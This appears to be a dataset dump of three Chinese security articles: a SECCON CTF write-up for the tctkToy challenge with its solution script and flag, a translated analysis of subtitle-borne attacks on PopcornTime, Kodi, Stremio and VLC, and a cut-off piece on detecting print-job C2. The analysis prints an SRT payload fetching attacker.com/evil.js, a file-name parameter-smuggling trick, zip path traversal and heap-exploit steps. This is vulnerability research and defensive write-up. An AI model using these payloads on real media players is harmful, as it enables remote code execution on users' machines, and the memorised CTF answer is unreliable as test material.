text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 前言
该题主要考察了TCL脚本的编写以及应用，TCL（Tool Command
Language），是一种基于字符串的解释型命令语言，通常和Windows的GUI集成为Tk，易用C/C++/Java/Python扩展。
# 题目描述
The tctkToy was a fragile Windows application toy. Reverse and repair it in
order to work well. SUPPORT: Recommend using Windows10 machine to run
successfully.
P.S. File changed to this (28th 09:52JST(28th 00:52UTC))
file.zip_5bd5bdb6eaf308b509af1c466b8a76578b75cdd9
Hint : you can write a tcl file with just only "button", "exec", "cd", "wm",
"canvas", "image" and "pack" command.
# 题目分析
题目启动时需传入1个参数：
当参数值为2时控制台打印帮助信息如下：
当参数值为1时控制台打印信息`build & check mode`，初始化显示的窗体：
进入和窗体绑定的回调函数handle，可以看到处理消息中，当消息值为1时，开启了拖拽文件的开关，并且加载了资源的位图文件：
接下来创建新线程对拖拽入窗体的文件进行处理：
可以看到处理的函数中将文件作为TCL脚本进行执行：
结合加载的位图提供的信息，可以知道程序需要在执行拖拽入的TCL脚本文件后出现修复后的窗口样式：
# 解题过程
在执行完TCL脚本后，进行两处check，通过则打印flag：
**第一处check** 主要针对TCL脚本执行后带来的变化，分为四处：
（1）检测了当前工作目录是否为C:\tctkToy：
（2）遍历进程列表是否存在任务管理器Taskmgr.exe并进行关闭：
（3）检查是否存在标题为 **tctkROBO** 的窗口：
（4）检查窗体TkChild控件和Button控件的数量需满足count(TkChild)*10+count(Button)==13：
遍历控件并计数：
检查数量是否为13：
**第二处check** 针对TCL脚本本身内容进行：
（1）对每行的指令语句取头两个字符进行连接，其中头两个字符为.时不选取，且读取的总长度为24，即实际读取的指令语句应该是12条：
（2）对连接后的指令内容进行SHA256哈希，将头20个字符和a683618184fc18105b71比较，相等则通过：
# TCL脚本
cd "C:\\tctkToy"
exec "Taskmgr.exe" "/c"
wm title . "tctkROBO"
canvas .c
image create photo img -file face.png
.c create image 300 110 -image img
pack .c -expand yes -fill both -side top
button .go -text "Go" -command exit -background green -width 80
pack .go
button .back -text "Back" -command exit -background blue -width 80
pack .back
button .stop -text "Stop" -command exit -background red -width 80
pack .stop -side bottom
有个坑点就是TCL在执行启动Taskmgr.exe时会报`invalid
argument`错误，原因可能是启动的权限不够（在管理员模式下可以启动），这里采用的解决方法是在C:\tctkToy工作目录下放一个cmd.exe（重命名为Taskmgr.exe），在脚本中传入/c参数是为了执行完命令后关闭命令窗口，不影响后续设置窗口的操作。由于/c会使Taskmgr程序退出，因此在程序运行前要先运行真正的任务管理器，然后程序运行时传入脚本就可以了。
# 解题脚本
import hashlib
# "button", "exec", "cd", "wm", "canvas", "image" and "pack"
key="cdexwm"
key+="caimpa"
key+="bupabupabupa"
assert len(key)==24
m=hashlib.sha256()
m.update(key)
sha = m.hexdigest()
if sha[:20]=="a683618184fc18105b71":
print "SECCON{%s}"%sha
# SECCON{a683618184fc18105b7157a52727d004681844be54fd792add4c90ff15a66e6f}
# 结果
# 参考资料
<http://zetcode.com/gui/tcltktutorial/drawing/>
<https://www.tcl.tk/man/tcl/TkCmd/button.htm>
<https://wiki.tcl-lang.org/page/Simple+Canvas+Demo> | 社区文章 |
# 【技术分享】针对流媒体平台安全问题的详细分析
|
##### 译文声明
本文是翻译文章，文章来源：checkpoint.com
原文地址：<http://blog.checkpoint.com/2017/07/08/hacked-translation-directors-cut-full-technical-details/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、背景**
最近一段时间，Check Point的研究人员[公开](http://blog.checkpoint.com/2017/05/23/hacked-in-translation/)了一种全新的攻击方法——基于字幕的攻击方法。在前一篇文章以及[演示视频](https://www.youtube.com/watch?v=vYT_EGty_6A)中，我们演示了攻击者如何在不引起用户警觉的前提下，通过字幕文件实现对用户主机的控制。
这种全新的攻击方法表明许多流媒体平台中存在多个漏洞，这些平台包括VLC、Koki（XBMC）、PopcornTime以及strem.io。
攻击者利用这种攻击方法能够完成各式各样的任务，包括窃取敏感信息、安装勒索软件、发起大规模拒绝服务攻击等等。
在我们最初那篇文章公布后，这些漏洞都被修复了，因此现在我们可以与大家全面分享这类攻击的技术细节。
**二、PopcornTime**
PopcornTime这个开源项目在短短几周之内就开发完成，支持多个视频平台，将Torrent客户端、视频播放器以及视频爬虫功能以一种非常友好的图形化界面呈现给用户。
图1. PopcornTime界面
由于这个平台易于使用、资源丰富，受到了主流媒体的广泛关注（[[1]](http://www.pcmag.com/article2/0,2817,2454833,00.asp)，[[2]](http://www.cbc.ca/news/technology/popcorn-time-is-like-netflix-for-pirates-dan-misener-1.2567929)），因此引起了[美国电影协会](https://torrentfreak.com/hollywood-tries-crush-popcorn-time-141219/)（MPAA）的注意，迫于压力，这个项目已经被关闭。
项目关闭后，许多组织继续更新维护PopcornTime应用程序，并添加了许多新功能。作为PopcornTime项目的继任者，popcorntime.io已经被该项目的原始成员所认可。
PopcornTime提供了一个基于webkit的接口，包含了电影信息以及一些元数据信息，可以提供预告片、故事情节、封面照片、IMDB评分等许多信息。
**2.1 PopcornTime中的字幕**
为了优化用户体验，PopcornTime会自动获取字幕信息。这一行为能否被攻击者利用呢？答案是肯定的。
PopcornTime使用了[open-subtitles](https://www.opensubtitles.org/)作为该平台的唯一字幕源。这个字母源拥有超过4,000,000组字幕，提供了非常方便的[API](http://trac.opensubtitles.org/projects/opensubtitles)，因此深受大众喜爱。
这个API不仅可以用来搜索及下载字幕，同时也包含一个推荐算法来帮助用户找到合适的字幕。
**2.2 攻击面**
正如前文所述，PopcornTime的底层是webkit（更精确地说，是NW.js）。
NW.js以前的名字为node-webkit，可以让开发者在其原生应用中使用类似HTML5、CSS3以及WebGL等Web技术。
不仅如此，开发者可以在DOM中直接调用Node.js API以及第三方模块。
从本质上来讲，一个NW.js应用就是一个Web页面，所有的代码都是用JavaScript或者HTML再加上CSS编写而成。在这种情况下，由于它是运行在node
js引擎上，因此攻击者可以使用XSS（跨站脚本）漏洞来使用服务端的功能。换句话说，XSS漏洞实际上就是RCE（远程代码执行）漏洞。
**2.3 开始攻击**
当用户开始播放电影时，我们也开始了攻击之旅。
PopcornTime会使用前面提到的API向服务器发起查询请求，然后下载服务器推荐的字幕（我们会在下文详细分析这一过程，因为这是我们整篇文章中最为关键的一步）。
接下来，PopcornTime会尝试将字幕文件转化为.srt格式：
图2. [/src/app/vendor/videojshooks.js](https://github.com/popcorn-official/popcorn-desktop/blob/development/src/app/vendor/videojshooks.js#L137)
经过各种解码及解析函数处理之后，生成的元素（单条字幕）会被附加到正确的时间线上，包含在“cues”数组中：
图3. updateDisplay函数
通过这种方式，我们就能往视图中添加任意html对象。
显而易见的是，能够完全控制任意HTML元素本身就是一件非常危险的事情。对于基于node的应用而言，我们需要明确一点，那就是XSS漏洞等同于RCE漏洞。
攻击者可以使用诸如[child_process](https://nodejs.org/api/child_process.html)之类的模块来执行系统命令。
一旦我们的恶意JavaScript被加载到应用中，那么实现代码执行也不过是几行代码的事情。
最简单的一个SRT文件如下所示：
1
00:00:01,000 –> 00:00:05,000
Hello World
除了文本形式的“Hello World”，我们还可以使用HTML中的图片标签（img）。
我们可以尝试加载一个不存在的图片，并设置一个onerror属性。
图4. 恶意.srt文件样例
图5. evil.js（代码执行）
如图4所示，我们利用JavaScript的onerror属性，避免图片错误时应用显示一个错误的图标，然后将我们的远程恶意载荷加载到这个页面中，最后通过evil.js弹出大家喜闻乐见的calc.exe（如图5所示）。
**三、OpenSubtitles：水坑攻击**
因此，我们可以利用PopcornTime来执行代码。
客户端漏洞是非常有价值的，但它们往往依赖于用户的交互行为。
为成功利用客户端漏洞，用户必须点击链接、阅读pdf，或者攻击者需要事先突破某个网站。
为了通过字幕实施攻击，用户需要加载恶意字幕。我们有方法跳过这一步么？
对大众而言，通过开放社区获取的字幕通常会被视为安全的文本文件。既然我们已经知道这些文件也会存在危险，那么我们回过头来，从整体上观察一下这类文件的危害范围。
OpenSubtitles是目前最大的在线字幕下载社区，拥有超过400万条字幕内容，以及500万的日均下载量，其API也被广泛集成于其他视频播放器中。
此外，OpenSubtitles甚至可以提供智能搜索功能，能够根据用户提供的信息返回最佳匹配的字幕。
综上，我们是否可以通过API来取消用户交互过程，同时确保OpenSubtitles上存储的恶意字幕能够被用户自动下载？
**3.1 深入分析API**
当用户开始播放电影时，程序会第一时间发送SearchSubtitles请求，服务器会返回一个XML响应，响应中包含与用户请求相匹配的那个字幕的所有对象信息（此例中，用户使用IMDBid进行匹配）。
图6. API SearchSubtitles请求
图7. API SearchSubtitles响应
图6中，我们的搜索条件为“imdbid”，图7中的响应结果包含与imdbid匹配的所有字幕。
有意思的是，API会根据文件名、IMDBid、上传者等级等信息，通过算法对字幕进行排序。通过仔细阅读官方文档，我们发现了API的排序方法：
图8. API排序方法
根据图8所示，我们发现字幕的优先级得分与某些匹配元素加分权重有关，这些元素包括标签、IMDBid、上传用户等。
根据这张表，假设我们以“普通（匿名）用户”身份（即user|anon身份）将恶意字幕上传到OpenSubtitles，该字幕仅能得到5分。
但在这里我们学到了非常有价值的一个教训：那就是仅阅读官方文档是远远不够的，因为从源代码中我们能看到文档中没有给出的一些信息。
matchTags函数如下所示：
图9. opensubtitles-api排序算法
PopcornTime在发往服务器端的请求中仅仅指定了IMDBid这一字段（如图6所示），这意味着代码中“MatchedBy ===
‘tag’”这一条件永远为false，不会被执行。
因此程序会调用matchTags()函数：
图10. matchTags函数
matchTags函数会将电影和字幕文件名分解为标签。单个标签通常为文件名中的独立的单词或数字，这些单词或数字通过“.”以及“-”连接形成完整的文件名。
电影文件名与字幕文件名之间的共享标签数会除以电影标签数，再乘上maxScore（具体值为7，这个值代表两个文件名完全匹配时的最大值）。
例如，若一个电影文件名为“Trolls.2016.BDRip.x264-[YTS.AG].mp4”，则标签为：[Trolls, 2016, BDRip,
x264, YTS, AG, mp4]。
由于攻击者非常容易就能获取到应用程序（例如PopcornTime）正在下载的电影文件名（比如通过嗅探方法），因此我们可以将字幕文件设置为相同的名称，且以“srt”作为扩展名，这将在字幕排序中增加7个分值。
**3.2 快速回顾**
现在，我们的字幕已经可以拿到12分了！单单匹配IMDBid获取的得分较少（只有5分），但获得torrent网站以及PopcornTime具体使用的字幕信息则十分简单，因此我们的恶意字幕能够实现完全匹配（加7分）。
这个分数已经不错了，但我们还没有满足。
这里推荐一些最受欢迎的字幕：斯诺登、死侍、盗梦空间、星球大战外传:侠盗一号，以及冰雪奇缘。
图11. 电影字幕排序
上图展示了世界上最为流行的7种语言的得分，同时显示了平均分和最高分。通过对流行字幕的自动分析，我们发现字幕的最高分为14分，而平均分值为10分左右。
再次回顾评分系统，我们意识到，想要在排序评分中获得高分是非常容易的一件事情。
图12. 用户排序标准
显然，上传记录达101次将成为金牌会员。
因此，我们注册成为OpenSubtitles的用户，耗时4分钟、使用一个40行的Python代码后，我们成为了金牌会员。
图13. 我们的用户排名
我们编写了一个脚本，用来显示某部电影的所有可用字幕。如下图所示，我们的字幕拿到了最高得分（15分）！
图14. 我们的恶意字幕排名第一
这也就意味着，对于任意电影，我们都可以强制用户播放器加载我们制作的恶意字幕，并对用户主机实施攻击。
**四、KODI**
KODI的前身是XBMC，是一个深受大家喜爱的开源跨平台项目，同时也是一个大众化的娱乐中心。KOBI支持所有主流平台（Windows、Linux、Mac、Ios以及Android），支持72种语言，有超过4千万用户，可能是世上最常用的家庭影院类软件。与此同时，KODI经常会跟智能电视（SmartTV）以及树莓派（Raspberry-Pis）结合在一起，因此也吸引了众多攻击者的注意。
**4.1 KODI中的字幕**
与KODI的其他功能类似，KODI的字幕也是使用Python插件来管理的。
最为常用的字幕插件是Open-Subtitles，我们对这个插件的API并不陌生，因此让我们直接跳到字幕下载处理流程。
这个插件使用如下函数来搜索字幕：
图15. 搜索函数
searchsubtitles()函数会从OpenSubtitles上检索可用的字幕列表，获取这些字幕的元数据。
之后，应用会在一个for循环中，迭代处理这些字幕，并使用addDirectoryItem()将它们添加到应用界面中，如下图所示：
图16. 字幕菜单（“斯诺登”电影的印尼语字幕）
如图15所示，发往addDirectoryItem()函数的字符串为：
plugin://%s/?action=download&link=%s&ID=%s&filename=%s&format=%s
正如其名，Open-Subtitles是一个开放式的源，因此攻击者可以控制用户收到的响应包中SubFileName下的文件名参数，如下所示：
图17. API响应
由于文件名在攻击者的完全控制之下，因此攻击者可以向服务器上传如下一个文件名，覆盖前面的参数（如link以及ID参数）：
Subtitles.srt&link=<controlled>&ID=<controlled>
结果如下：
plugin://%s/?action=download&link=%s&ID=%s&filename=Subtitles.srt&link=<controlled>&ID=<controlled>&format=%s
这种覆盖方式能够成功，原因在于程序在解析字符串时使用了split函数。
当用户在字幕菜单中（如图16所示）选择某个可用的选项后，受影响的函数就会运行，因此这些被篡改的参数会造成严重的结果。
当用户在字幕菜单中选择一个字幕后，相关信息会被发送到Download()函数：
图18. Download函数
由于现在我们已经能够控制传给该函数的所有参数，因此我们就能滥用这个函数的功能。
通过提供一个无效的id值（如“-1”），我们就能到达“if not
result”代码分支。程序会在这个分支中下载“原始”的字幕数据，以避免其无法通过Open-Subtitles API获取所需的文件。
通过控制url参数，我们可以根据需要，让程序下载任意zip文件（比如http://attacker.com/evil.zip文件）。
从互联网上下载任意zip文件可能关系不大，但如果这个行为与KOID释放功能中的另一个漏洞结合使用，就会造成致命的后果。
在审计ExtractArchive()函数的代码时，我们注意到该函数会将strPath（文件释放的目的路径）与strFilePath（压缩文件中的文件路径，通过迭代方式生成）组合在一起。
图19. ExtractArchive()函数
我们可以构造一个zip文件，其中递归包含名为“..”的文件夹，这样以来，我们就能控制文件释放的目的路径（CVE-2017-8314）。
利用目录遍历缺陷，我们可以覆盖KODI的字幕插件。
图20. 恶意ZIP文件的结构
覆盖插件意味着KOID很快就会执行我们的文件。我们构造的恶意Python代码可以完全包含原始插件的所有代码，只要根据需求添加其他恶意功能即可。
**五、Stremio**
PopcornTime的流行的确标志着流媒体应用的兴起，但当它被MPAA（美国电影协会）突然关闭时，用户就会寻找其他替代品。
作为半开源内容聚合器，Stremi开始走入用户视野。与PopcornTime类似，Stremio同样易于使用，也提供了类似的用户接口。非常有趣的是，Stremio在某些特点上与PopcornTime类似。对我们而言，最为关键的一点是，Stremio是一个基于web-kit的应用，其字幕源为Opensubtitle.org。
Stem.IO同样会将字幕内容添加到webkit接口中，因此我们猜测XSS对这个应用来说也是个值得关注的攻击点。
然而，对PopcornTime有效的方法在这里并没有任何作用：
图21. Stremio解析包含无效图片的字幕
我们可以在视频底部看到无效的图片（如图21所示），但程序没有执行任何代码。
显然我们的JavaScript代码没有生效，是时候深入挖掘一下了。
Stremio的代码包含在一个[ASAR](https://github.com/electron/asar)文件中，这种文件格式与TAR格式类似，无需压缩就能将所有文件组合在一起。提取并格式化源代码后，我们发现显示在屏幕上的任何文本都会经过程序的[过滤](https://docs.angularjs.org/api/ngSanitize/service/%24sanitize)处理。
过滤服务会对HTML内容进行解析，只允许安全的、在白名单中的标记及属性通过，因此字符串被过滤后不会包含脚本表达式或者危险的属性。程序强制使用静态HTML标签，不提供脚本功能，这的确非常限制我们的可选操作。这种情况下，我们需要创造性的解决方案。
如果你使用过Stremio，那么你对该应用所弹出的“Support us”界面肯定非常熟悉。
图22. Stremio的“Support us”界面
利用HTML中的<img>标签，我们可以在屏幕正中呈现这个界面的图片副本，然后用<a
href>标签进行封装。这样一来，当用户点击关闭按钮时，就会被重定向到我们的恶意页面：
1
00:00:01,000 –> 00:01:00,000
<a href=”http://attacker.com/evil.js”><img src=”http://attacker.com/support.jpg”></a>
这个页面正是我们前面在攻击PopcornTime中使用的evil.js页面，该脚本可以利用nodejs的功能，在受害者主机上运行代码。
**六、VLC：重头戏**
**6.1 简介**
当我们意识到字幕载体可以作为新型的攻击媒介时，我们接下来的目标就非常明显了。VLC拥有超过1.8亿用户，是世界上最受欢迎的媒体播放器之一。
VLC是一个开源的、便携式的、跨平台的（流）媒体播放器，可以支持各种各样的平台，包括Windows、OS X、Linux、Windows
Phone、Android、Tizen以及iOS。几乎各个地方都能见到它的身影。
VLC作者的原话为：“这是个非常流行，但也非常复杂的软件”。我们相信字幕类漏洞同样也存在于VLC中。
**6.2 结构设计**
事实上，VLC是一个全功能的多媒体框架（类似于[DirectShow](https://msdn.microsoft.com/en-us/library/windows/desktop/dd375454\(v=vs.85\).aspx)或者[GStreamer](https://gstreamer.freedesktop.org/)），并且支持许多模块的动态加载及插入。
VLC的核心框架所做的事情就是“串起”输入输出以及处理媒体数据，其输入为文件或网络流，输出为音频、视频，可以输出到显示屏上或网络中。VLC在每个阶段都会使用模块来处理大多数工作（包括各种[分离器](https://wiki.videolan.org/Documentation:Hacker%27s_Guide/Demux/)、[解码器](https://wiki.videolan.org/Documentation:Hacker%27s_Guide/Decoder/)、过滤器以及输出）。
VLC中主要模块的功能如下图所示：
图23. VLC模块
**6.3 字幕**
暂时抛开VLC，让我们来聊聊杂乱无章的字幕世界。
在我们研究过程中，我们总共遇到了超过25种格式的字幕！某些字幕是二进制形式的，某些是文本形式的，只有少数几种字幕有较为完善的文档说明。
我们都知道SRT字幕支持少数几种HTML标签以及属性，但让我们惊讶不已的是，其他许多字幕格式可以支持各种各样的奇怪功能。比如，[SAMI](https://msdn.microsoft.com/en-us/library/ms971327.aspx)字幕支持内嵌图片，[SSA](https://en.wikipedia.org/wiki/SubStation_Alpha#Principal_sections_in_an_SSA_subtitle)字幕支持多种主题及样式定义，然后可以从每个字幕中引用这些主题及样式，而[ASS](https://en.wikipedia.org/wiki/SubStation_Alpha#Advanced_SubStation_Alpha)字幕甚至允许内嵌二进制形式的字体。这个名单还可以不断延伸下去。
通常情况下，我们并没有统一的库来解析所有的字幕格式，这些解析任务都会分摊给每个开发者，但问题也出自于此。
**6.4 回到VLC**
VLC会在名为[subtitle.c](https://github.com/videolan/vlc/blob/2.2.0-git/modules/demux/subtitle.c)的分离器中对文本形式的字幕进行解析。
这个分离器所支持的全部格式及对应的解析函数如下所示：
图24. subtitle.c中负责解析的函数数组
这个分离器的唯一任务就是解析不同格式的时间线信息，然后将每个字幕发送到对应的解码器。SSA以及ASS使用开源库[libass](https://github.com/libass/libass)进行解码，除此之外，其他所有的格式都会发往VLC自己的subsdec.c解码器。
[subsdec.c](https://github.com/videolan/vlc/blob/2.2.0-git/modules/codec/subsdec.c)会解析每个字幕中的文本字段，然后创建与其对应的两个版本。第一个版本是一个去掉所有标签、属性以及样式的明文版本。VLC会在字幕渲染失败时启用这个版本。
第二个版本是一个HTML字幕版本，包含更多的功能，比如各种样式属性（字体、对其）等。
字幕解码完成后，就会被发往最后一个阶段，以便渲染呈现。VLC主要是使用[freetype库](https://www.freetype.org/developer.html)来进行文本渲染。
以上过程基本覆盖了字幕从加载到显示的整个生命周期。
**6.5 漏洞寻找**
在VLC字幕相关代码中，我们很快注意到VLC使用原始指针而不是使用内置的字符串函数来完成大量解析工作。通常情况下这不是一个好的解决方法。
比如，当处理字体标签中的某些可能的属性时（如字体类别、大小或者颜色），VLC在某些地方无法验证字符串的结束位置。因此，这些解码器会继续从缓冲区中读取数据，跳过任何Null结束符，直到遇到一个‘>’字符为止（CVE-2017-8310）。
图25. subsdec.c CVE-2017-8310
**6.6 模糊测试**
在人工对代码进行审计时，我们同时也对VLC进行了模糊测试，寻找与字幕有关的漏洞。
我们选择的模糊测试工具是[AFL](http://lcamtuf.coredump.cx/afl/)。AFL是面向安全的模糊测试器，采用了编译时规范策略以及遗传算法来发现目标程序内部中新的状态及触发边缘执行路径。AFL已经发现了无数个[漏洞](http://lcamtuf.coredump.cx/afl/#bugs)，如果输入正确的语料库，那么AFL就可以在非常短的时间内给出非常有趣的测试用例。
在我们的语料库中，我们下载并重写了多个字幕文件，这些文件包含多种格式，具备多种不同的功能。
为了避免软件的视频渲染及显示功能（我们的模糊测试服务器没有安装任何图形显卡），我们使用转码功能将一个没有任何内容的短视频从一种编码转化为另一种编码。
我们用来运行AFL的命令如下所示：
./afl-fuzz –t 600000 –m 2048 –i input/ -o output/ –S “fuzzer$(date +%s)” -x subtitles.dict — ~/sources/vlc-2.2-afl/bin/vlc-static –q –I dummy –subfile
@@ -sout=‘#transcode{vcodec=“x264”,soverlay=“true”}:standard{access=”file”,mux=”avi”,dst=”/dev/null”}’ ./input.mp4 vlc://quit
**6.7 崩溃点**
没过多久，AFL就发现了存在漏洞的一个函数：ParseJSS。JSS代表的是JACO Sub
Scripts文件。JACOsub是一种非常灵活的格式，可以支持时间线修改（如跳转）、可以包含外部JACOsub文件、可以暂停时钟，还有许多功能可以在其规范文档中找到。
JACO脚本的功能实现非常依赖于指令（directive）。一条指令由一系列字符编码组合而成，这些编码决定了字幕的位置、字体、样式、颜色等等。指令只会对当前附加的那条字幕造成影响。
AFL发现的崩溃点与越界读取漏洞有关，当程序在尝试跳过不支持的指令时（即当前尚未完全实现的功能）就会发生越界读取问题，漏洞编号为CVE-2017-8313。
图26. Subtitle.c（CVE-2017-8313）
如果某条指令后面没有跟着任何空格符，那么这个while循环就会跳过Null字节，越过psz_text缓冲区边界，继续往下读取。在整段代码中，psz_text是一个指针，指向一个在堆上分配的、以Null为结束符的字符串。
这个崩溃点引起了我们对ParseJSS函数的关注，我们很快又发现了程序在解析其他指令时存在的另外两个越界读取问题。这一次对应的是跳转（shift）以及时间（time）指令（分别对应‘S’以及‘T’）。原因在于跳转长度可能会比psz_text的长度更大（CVE-2017-8312）。
图29. Subtitle.c（CVE-2017-8311）
在另一种情况下，VLC会直接跳过NULL字节（第1883行）。
图30. Subtitle.c（同样为CVE-2017-8311）
这一行为也会导致堆缓冲区溢出漏洞。
**6.8 漏洞利用**
VLC支持许多操作系统及硬件架构平台。从指针大小到缓存策略，每个平台在功能以及堆实现细节上可能存在不同，这些因素都对漏洞利用造成一定影响。
在我们的PoC中，我们决定使用Ubuntu 16.04
x86_64系统。这个演示平台是现今非常流行的一个平台，因此这个PoC同样适用于现实世界。由于堆的实现代码是开源的，因此我们可以较为深入地理解漏洞利用过程中的具体细节。
经过多年的发展，现存的针对GLibC-malloc函数的通用型堆利用技术已经寥寥无几。然而，VLC漏洞的触发条件使得我们无法使用已有的这些方法。
我们唯一的选择是使用这个漏洞作为数据写入方法来覆盖某些应用的特定数据。被覆盖的这些数据反过来又会导致更加严重的后果（可以在任意位置写入任意数据），或者完全控制代码执行流程。
VLC是一个高度线程化的应用。根据堆的具体实现，这意味着每个线程在堆上都有各自的资源，这限制了我们可以覆盖的对象数量（只有在线程中分配的负责处理字幕的对象才是我们可能覆盖的对象）。并且，我们很有可能能够溢出代码附近的某个对象来触发漏洞。
线程创建点和存在漏洞的函数之间的距离并不远。我们开始手动寻找有用的对象，然后发现了demux_sys_t和variable_t这两类对象。此外，通过自动跟踪堆上分配的每个对象，我们还发现了link_map、es_out_id，以及包含虚拟表的一些Qt对象。经过删选，我们最终选择了variable_t对象作为研究目标。
图31. variable_t结构体
该对象用于在VLC应用中保存各种类别的数据，包括模块的配置信息和命令行选项。由于这些对象数目较多，因此我们有机会在某个对象之前找到缝隙，进而修改堆布局。variable_t结构包含一个p_ops字段，该字段保存了一个指针，指向的是操作变量值的某个函数地址。攻击者可以通过控制这个字段获得对程序的控制权。其他对象由于无法利用或者存在过多限制无法成为我们的利用目标。
现在我们已经有一个能够利用的对象，我们必须在该对象之前，在堆上分配一个JACOSubScript（JSS）字幕对象。通过精心选择分配对象，修改堆布局，使其成为可预测的、可使用的状态，这一过程称之为堆风水（Heap
Feng Shui、或者称为堆功夫、堆美容）。相当幸运地，我们偶然发现目标对象（即variable_t(sub-fps)）前恰巧有一个缝隙（hole）可以使用。
图32. variable_t之前的内存布局
尽管我们没有必要非得使用其他堆修改方法，但我们的确发现了一段非常有趣的代码，这段代码可以在要求更为精准的环境下给我们提供非常大的帮助。当VLC打开一个字幕文件时，它并不知道该使用哪个模块来解析这个新的文件。VLC采用了非常模块化的架构，当需要解析某个文件时，它会查找所有的模块（库），加载这些模块，然后判断这些模块是否能解析给定的输入流（在这种情况下，输入流即为字幕文件）。存在漏洞的代码位于字幕模块中，但这个模块不是第一个被加载的模块。
VLC会先加载两个模块，VobSub模块会被加载，用来检查字幕文件是否为VobSub格式。我们可以欺骗这个模块，在文件的第一行中设置VobSub魔术值，这样一来，VobSub模块就会认为我们的字幕文件为VobSub格式。然后，这个模块开始解析输入文件，执行各种内存分配及释放操作。这段代码比我们目标对象的分配代码更早执行，因此我们刚好可以将VobSub/JSS用于堆风水过程。
利用这一漏洞，我们可以线性地覆盖某个已分配的字幕字符串后的数据。这里存在一个问题，variable_t结构体的第一个字段为psz_name，这个字段应该为字符串的一个指针。在VLC的整个生命周期中，这个指针的引用计数会被减去若干次。由于ParseJSS函数会拷贝字符串，因此我们无法写入NULL字节，因为它为有效指针的前两个字节。这样一来，我们无法写入有效的指针数据，也无法真正溢出variable_t结构体。
为了克服这一问题，我们拓展了堆的元数据功能。我们使用了一系列分配、溢出、释放操作，经过这些复杂的操作后，我们覆盖了元数据中的堆块（chunk）大小值（与该案例类似）。这样一来，我们可以在不覆盖psz_name字段的前提下，覆盖variable_t结构提中的p_ops字段。
现在，我们的问题变为：我们具体应该写入什么数据？当VLC被关闭时，Destroy函数就会使用p_ops这个字段。这段代码会调用该字段所指向的数组中的pf_free函数，并将该值以参数形式传递给被调用的函数。因此，我们需要写入一个指针，将其指向另一个指针，后者指向的是我们第一个利用点所在的位置（实际上是16个字节之前）。这里我们面临的主要问题是ASLR。我们不知道任何数据的实际位置。这种环境也称之为无脚本利用环境。
解决这个问题的一种方法是使用部分覆盖方法。原始的指针指向的是libvlccore库中的float_ops静态数组。我们可以部分覆盖这个值，让指针指向libvlccore库中的其他位置。
另外一种方法就是将指针指向ubuntu中没有被随机化的主程序。我们在主程序中发现了一些非常有趣的小工具。比如，某个小工具会调用dlysm，然后将生成的结果作为第一个参数传递给另一个寄存器（具体代码为：dlsym(-1,
$rsi)($rbx)）。
第三种方法就是执行部分复制操作。由于我们的漏洞利用过程会从堆块外复制数据，因此我们可以修改堆结构，将某个堆指针写入到堆块中，然后执行部分复制操作即可。
虽然这几种方法看起来都非常有希望，但我们并没有使用这些方法。无脚本利用会给我们带来许多挑战，并且在这种环境下，为了演示漏洞利用过程我们需要研究太多细节。我们选择了另一种方法，那就是禁用ASLR机制，将指针指向合适的堆地址。此时，漏洞可利用的地址发生了些许改变，很有可能需要根据线程的具体行为进行调整，但从统计概率上来看，我们可以认为该地址为某个特定的地址。我们的下一个问题是，我们应该指向那个区域？VLC会逐行读取字幕文件，并将每行字幕复制到堆块中。这种底层的按行读取机制导致单行字幕的最大大小会被限制为204800字节。
我们将漏洞利用数据存放到VLC所允许的最长行中，据此发现漏洞可利用的地址的分布情况。我们构建了一个基于ROP链的libvlccore库，并在开头部位设置了一个特征值。然后，我们将p_ops字段指向特征值，使用我们构造的字幕文件启动VLC。最终，我们让VLC运行并弹出了一个gnome-calculator程序。
**七、总结**
利用各种漏洞，我们能够攻击流媒体平台并且获得用户电脑的控制权。这些漏洞的类型包括XSS漏洞、逻辑漏洞以及内存损坏漏洞等等。
由于使用率高、覆盖面积大，这些多媒体播放器暴露了非常巨大的攻击面（我们相信还有其他播放器受到类似漏洞影响），可能会影响数亿用户。
这里我们可以总结出一个结论：许多表面上安全且容易被我们忽略的地方，恰恰可以作为攻击者突破途径。我们将继续探寻可能被攻击者利用的突破口，保护用户免受攻击。 | 社区文章 |
# 基于打印机跳板技术的新型C2及其检测方法（下篇）
|
##### 译文声明
本文是翻译文章，文章原作者 Alfie Champion, James Coote，文章来源：labs.f-secure.com
原文地址：<https://labs.f-secure.com/blog/print-c2/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者介绍基于打印机跳板技术的新型C2及其检测方法。
在上一篇文章中，我们为读者详细介绍了基于打印作业的新型Command &
Control（C2）的工作原理，以及基于C3的打印通道的实现方法。在本文中，我们将继续为读者介绍针对这种新型C2的各种检测方法。
## 在端点上进行检测
### 模块加载事件
首先我们可以看一下模块加载事件。正如我们之前所做的那样，我们可以使用b33f的SilkETW来捕获我们的ETW遥测。下面的SilkService将提供我们所需要的东西：
<SilkServiceConfig>
<ETWCollector>
<Guid>870b50e1-04c2-43e4-82ac-817444a56364</Guid>
<CollectorType>kernel</CollectorType>
<KernelKeywords>ImageLoad</KernelKeywords>
<FilterValue>Image/Load</FilterValue>
<OutputType>eventlog</OutputType>
</ETWCollector>
</SilkServiceConfig>
在启动时，我们可以看到我们的Relay加载了DLL库“winspool.drv”。查看微软的文档，可以看出这是添加了打印作业的底层模块。
模块加载事件还突出显示了C3 Relay每次试图将作业添加到打印队列中时的情况。最值得注意的是，我们可以看到每次执行打印作业时，prnfldr.dll和
PrintWorkflowProxy.dll都会被重复加载和卸载。
当然，在一个典型的企业端点上，可能会有各种各样的程序在创建打印作业。此外，作为攻击方，我们可以通过向通常会产生打印作业的进程（如Microsoft
Office应用程序）中注入数据，使这一操作变得更加难以被察觉。
实际上，查找异常作业的一种方法是过滤掉通过UI调度的作业。为此，我们可以打开SysInternals Process Monitor，并在Microsoft
Word中执行一个交互式打印，这时，我们就会发现prntflr.dll将再次被加载，而另一个同时加载的DLL却变成了printui.dll。
虽然通过名称就能猜出这个DLL的用途，但是为了严谨起见，我们还是查看了这个系统DLL的导出函数（在本例中我们使用的是pestudio）。其中，其中有一个名为“connecttoprintdlg”的函数，通过查阅Microsoft文档，我们了解到该函数的用途是“显示对话框，以允许用户通过该对话框来浏览并连接到网络上的打印机”。
不过，从该Relay的模块加载项以及该打印作业调度的编程属性来看，这里疑点很多。
### 远程过程调用
